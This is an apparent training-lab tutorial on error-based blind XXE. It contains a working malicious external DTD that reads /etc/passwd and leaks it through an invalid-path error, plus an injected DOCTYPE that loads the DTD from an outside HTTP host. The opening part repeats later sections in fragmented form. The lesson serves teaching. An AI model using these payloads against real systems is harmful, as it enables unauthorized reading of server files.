So far, we have familiarized ourselves with the so-called reflected (reflected) XXE vulnerabilities, where something is returned from XML back to the browser. In such cases, exploiting the vulnerability is usually quite easy, as the attacker only needs to add the SYSTEM entity to the XML in the appropriate place within the XML. But what if there is no output after all?


In such cases, we can often resort to leaking data through some side channel. In this module, we focus on error-based techniques, where the goal is to force the application to throw an error message containing the content of the desired file.

Create an entity in XML that reads the desired file.

Create a second entity in XML that reads the file from an incorrect file path that contains the desired file content.

The application gives an error message about an invalid file path, which leaks the file to us.

Error-based technique (for attackers) in a perfect world

In theory, the attack could be done like this.

, whose value will be the content of the desired file.

, whose value is: <!ENTITY error SYSTEM 'file:///invalid-path/CONTENT OF THE FILE HERE'>

 entity, which causes an error message "INVALID FILE PATH: invalid-path/FILE CONTENT HERE".

And from that error message, we would then see the file we wanted to see. The attack might look like this:

But unfortunately, XML does not allow nested entities within the same XML document.

However, the restriction can be bypassed by downloading the DTD from an external XML file.

Attack is carried out in the following phases:

Set up the attacker's HTTP server to listen.

Add an external DTD file to the attacker's HTTP server, which, when executed, tries to resolve the SYSTEM entity 

Create a DTD that loads an external DTD into the XML sent to the application, allowing the use of error entity in the XML.

Execute an external DTD by referring to it, causing the application to throw an error message that includes 

Start the exercise at this point and continue reading.

Read the ticket /secret-recipe.txt from the file.

In this lab, you will exploit an XXE vulnerability in an application that does not reflect any parameters from XML. You will need to rely on error-based techniques.

XXE OOB 1

You have VSCode code editor ("Your Resources - Attacker's Code Editor") and Apache web server already listening ("Your Resources - Web server") at your disposal. You can open a new terminal from VSCode and run the following command to monitor Apache logs.

Save the following DTD file to the /root/web/evil.dtd:

External (SYSTEM) parameter (identifies the percent character) entity named 

 that points to the file "file:///etc/passwd".

 that is executed (on the last line), resulting in an entity remaining in the DTD that was originally inside 

 that is dynamically built by executing the entity 

 is an external (SYSTEM) entity that points to the file (file://) /invalid-path/<HERE COMES THE CONTENTS OF /etc/passwd FILE.

When the DTD with its references is "built", the final value of the evil.dtd entity practically contains:

You add a parameter entity to the XML that refers to an external DTD.

You refer to an external DTD in such a way that it is loaded, executed, and normally set as part of the XML document's DTD. However, this time the code execution fails at the point of "execution" because the file being attempted to be fetched does not exist.

Note. All XML processors, including the XML processor of this lab, do not support HTTPS for the URL of an external entity. Therefore, use unencrypted HTTP in URLs.

## What if there is no printout?

So far, we have familiarized ourselves with the so-called reflected (reflected) XXE vulnerabilities, where something is returned from XML back to the browser. In such cases, exploiting the vulnerability is usually quite easy, as the attacker only needs to add the SYSTEM entity to the XML in the appropriate place within the XML. But what if there is no output after all?

In such cases, we can often resort to leaking data through some side channel. In this module, we focus on error-based techniques, where the goal is to force the application to throw an error message containing the content of the desired file.

---

## Error-based technology at a high level

The attack works as follows:

- Create an entity in XML that reads the desired file.
- Create a second entity in XML that reads the file from an incorrect file path that contains the desired file content.
- The application gives an error message about an invalid file path, which leaks the file to us.

![](sanity:image-046f878a2057afb8857bd786d2933366c2e71069-1920x1920-png)

---

## Error-based technique (for attackers) in a perfect world

In theory, the attack could be done like this.

- Create parameter entity **file**, whose value will be the content of the desired file.
- Create parameter entity **all**, which constructs a third entity **error**, whose value is: <!ENTITY error SYSTEM 'file:///invalid-path/CONTENT OF THE FILE HERE'>
- Executing the **error** entity, which causes an error message "INVALID FILE PATH: invalid-path/FILE CONTENT HERE".

And from that error message, we would then see the file we wanted to see. The attack might look like this:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY error SYSTEM 'file:///invalid-path/%file;'>">
%file %all %error;
```

But unfortunately, XML does not allow nested entities within the same XML document.

![](sanity:image-be93b3cffa3c87aebceb2f91627169279250c958-1469x501-png)

However, the restriction can be bypassed by downloading the DTD from an external XML file.

---

## Error-based technology in the real world

Attack is carried out in the following phases:

- Set up the attacker's HTTP server to listen.
- Add an external DTD file to the attacker's HTTP server, which, when executed, tries to resolve the SYSTEM entity **error** whose URL is "file:///invalid-path/**FILE\_CONTENT\_TO\_BE\_VIEWED**.
- Create a DTD that loads an external DTD into the XML sent to the application, allowing the use of error entity in the XML.
- Execute an external DTD by referring to it, causing the application to throw an error message that includes **THE\_CONTENT\_OF\_THE\_FILE\_YOU\_WANT\_TO\_SEE**.

---

## Exercise

Start the exercise at this point and continue reading.

@exercise e0150a34b724

---

## Attacker's HTTP listener

You have VSCode code editor ("Your Resources - Attacker's Code Editor") and Apache web server already listening ("Your Resources - Web server") at your disposal. You can open a new terminal from VSCode and run the following command to monitor Apache logs.

![](sanity:image-7e64317c96d161a4fdf2a422c34d839e76df79b3-1594x944-png)

```sh
tail -f /var/log/apache2/access.log
```

The web server serves files from the **/root/web** directory.

![](sanity:image-473071a492902e417d8b02c59d4163bec740ab6e-1594x944-png)

---

## External DTD file

Save the following DTD file to the /root/web/evil.dtd:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY error SYSTEM 'file:///invalid-path/%file;'>">
%all;
```

Understanding the content of the file:

- External (SYSTEM) parameter (identifies the percent character) entity named **file** that points to the file "file:///etc/passwd".
- Parameter entity called **all** that is executed (on the last line), resulting in an entity remaining in the DTD that was originally inside **all**.
- Entity **error** that is dynamically built by executing the entity **all**. **Error** is an external (SYSTEM) entity that points to the file (file://) /invalid-path/<HERE COMES THE CONTENTS OF /etc/passwd FILE.

When the DTD with its references is "built", the final value of the evil.dtd entity practically contains:

```xml
<!ENTITY error SYSTEM ‘file://root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:...'>
```

---

## XML Attack

Attack is successful when:

- You add a parameter entity to the XML that refers to an external DTD.
- You refer to an external DTD in such a way that it is loaded, executed, and normally set as part of the XML document's DTD. However, this time the code execution fails at the point of "execution" because the file being attempted to be fetched does not exist.

```xml
<!DOCTYPE order [
<!ENTITY % dtd SYSTEM
"http://web-b7dsfpuole.ha-student.com/evil.dtd">
%dtd;
]>
```

Note. All XML processors, including the XML processor of this lab, do not support HTTPS for the URL of an external entity. Therefore, use unencrypted HTTP in URLs.

![](sanity:image-e13a6d4b1d8dfc82a7975e63ef2555ea074d057a-1838x1275-png)


Error-based XXE Technique

XML is superficially a simple protocol, tags and attributes. However, XML has hidden capabilities that unfortunately are often not disabled by default in XML handlers...

XML is a relatively simple protocol, consisting of tags and attributes. However, XML has hidden abilities that unfortunately are often not disabled by default in XML processors...

Error-based XXE Technique

What if there is no printout?

Learn to hack — start here